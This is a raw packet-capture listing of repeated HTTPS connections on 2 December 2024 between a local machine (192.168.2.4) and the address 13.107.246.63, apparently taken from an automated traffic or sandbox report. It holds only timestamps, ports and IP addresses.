Dec 2, 2024 17:57:31.467333078 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.467364073 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.467811108 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.467817068 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.550589085 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.551153898 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.551179886 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.551588058 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.551593065 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.912360907 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.915281057 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.915376902 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.915405989 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.915427923 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.915441036 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.915446043 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.918051004 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.918096066 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.918185949 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.918318987 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.918339968 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.996237993 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.996257067 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.996326923 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.996329069 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.996371031 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.996552944 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.996572971 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.996582985 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.996588945 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.999216080 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.999267101 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.999356031 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.999527931 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:31.999541998 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.028213024 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.028589964 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.028610945 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.029032946 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.029037952 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.330753088 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.331597090 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.331614017 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.332082987 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.332087994 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.482672930 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.482693911 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.482750893 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.482774973 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.482953072 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.482963085 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.482970953 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.483113050 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.483148098 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.483187914 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.485747099 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.485788107 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.485863924 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.486001015 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.486011982 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.642376900 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.643217087 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.643234968 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.643826008 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.643832922 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.784845114 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.787877083 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.787921906 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.787931919 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.787986040 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.788032055 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.788049936 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.788062096 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.788067102 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.790796041 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.790832043 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:32.790883064 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.791038990 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:32.791053057 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.087624073 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.090614080 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.090682983 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.090707064 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.090728998 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.090739012 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.090744019 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.093544006 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.093578100 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.093647957 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.093795061 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.093810081 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.699435949 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.700474024 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.700474024 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.700500011 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.700519085 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.715269089 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.715862989 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.715898991 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:33.715986967 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:33.715991974 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.144857883 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.147866964 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.147919893 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.147963047 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.148031950 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.148031950 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.150671959 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.150671959 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.150700092 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.150712967 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.150952101 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.150952101 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.150975943 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.153532982 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.159169912 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.159240961 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.159240961 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.159857988 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.159874916 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.161235094 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.161273003 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.161448956 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.161448956 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.161490917 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.202888012 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.203598976 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.203625917 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.203735113 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.203739882 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.534975052 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.535491943 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.535531044 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.535954952 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.535959959 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.638237000 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.641680956 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.641722918 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.641745090 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.641784906 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.641827106 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.641848087 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.641863108 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.641869068 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.644504070 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.644540071 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.644644022 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.644787073 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.644802094 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.942243099 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.942804098 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.942837000 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.943289042 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.943296909 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.972294092 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.972347975 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.972434044 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.972624063 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.972646952 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.972685099 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.972691059 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.975431919 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.975476027 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:34.975544930 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.975701094 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:34.975714922 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.395771980 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.399338007 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.399393082 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.399393082 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.399442911 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.406146049 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.406183004 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.406200886 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.406208992 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.409781933 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.409811974 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.409883976 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.410027027 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.410042048 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.933691025 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.934195995 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.934218884 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:35.934737921 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:35.934745073 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.009716988 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.010088921 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.010118008 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.010606050 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.010611057 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.361957073 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.362668991 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.362694979 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.363348007 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.363352060 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.377805948 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.381290913 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.381541014 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.381562948 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.381577015 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.381588936 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.381592989 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.384063005 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.384110928 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.384181023 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.384342909 CET	49973	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.384356976 CET	443	49973	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.490333080 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.493474007 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.493531942 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.493634939 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.493634939 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.493634939 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.493680000 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.493695974 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.496212959 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.496259928 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.496329069 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.496452093 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.496469021 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.700191021 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.700635910 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.700673103 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.701066017 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.701071978 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.800558090 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.800652027 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.800839901 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.800894022 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.800910950 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.800920963 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.800925970 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.803503990 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.803527117 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:36.803596973 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.803729057 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:36.803740025 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.135993958 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.138699055 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.138758898 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.138823032 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.138840914 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.138850927 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.138855934 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.141561985 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.141601086 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.141665936 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.141793966 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.141808987 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.193327904 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.193762064 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.193792105 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.194215059 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.194221973 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.638808012 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.642407894 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.642455101 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.642467976 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.642515898 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.642563105 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.642586946 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.642601013 CET	49972	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.642608881 CET	443	49972	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.645395041 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.645437956 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:37.645522118 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.645674944 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:37.645689011 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.296953917 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.297480106 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.297511101 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.297952890 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.297961950 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.583689928 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.584990978 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.585038900 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.585560083 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.585566044 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.741133928 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.744512081 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.744587898 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.744637012 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.744668961 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.744685888 CET	49974	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.744693995 CET	443	49974	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.747522116 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.747562885 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:38.747648001 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.747811079 CET	49978	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:38.747826099 CET	443	49978	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.029206038 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.032013893 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.032068968 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.032107115 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.032231092 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.032367945 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.032392025 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.032408953 CET	49975	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.032413960 CET	443	49975	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.035363913 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.035407066 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.035475016 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.035649061 CET	49979	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.035664082 CET	443	49979	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.163907051 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.197019100 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.197035074 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.200889111 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.200894117 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.430620909 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.431195021 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.431229115 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.431687117 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.431694031 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.839052916 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.841995955 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.842165947 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.842725992 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.842749119 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.842760086 CET	49976	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.842775106 CET	443	49976	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.846043110 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.846076965 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.846132040 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.846362114 CET	49980	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.846375942 CET	443	49980	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.878102064 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.881190062 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.881241083 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.881241083 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.881310940 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.881380081 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.881397963 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.881407976 CET	49977	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.881413937 CET	443	49977	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.884043932 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.884079933 CET	443	49981	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:39.884150982 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.884280920 CET	49981	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:39.884294987 CET	443	49981	13.107.246.63	192.168.2.4
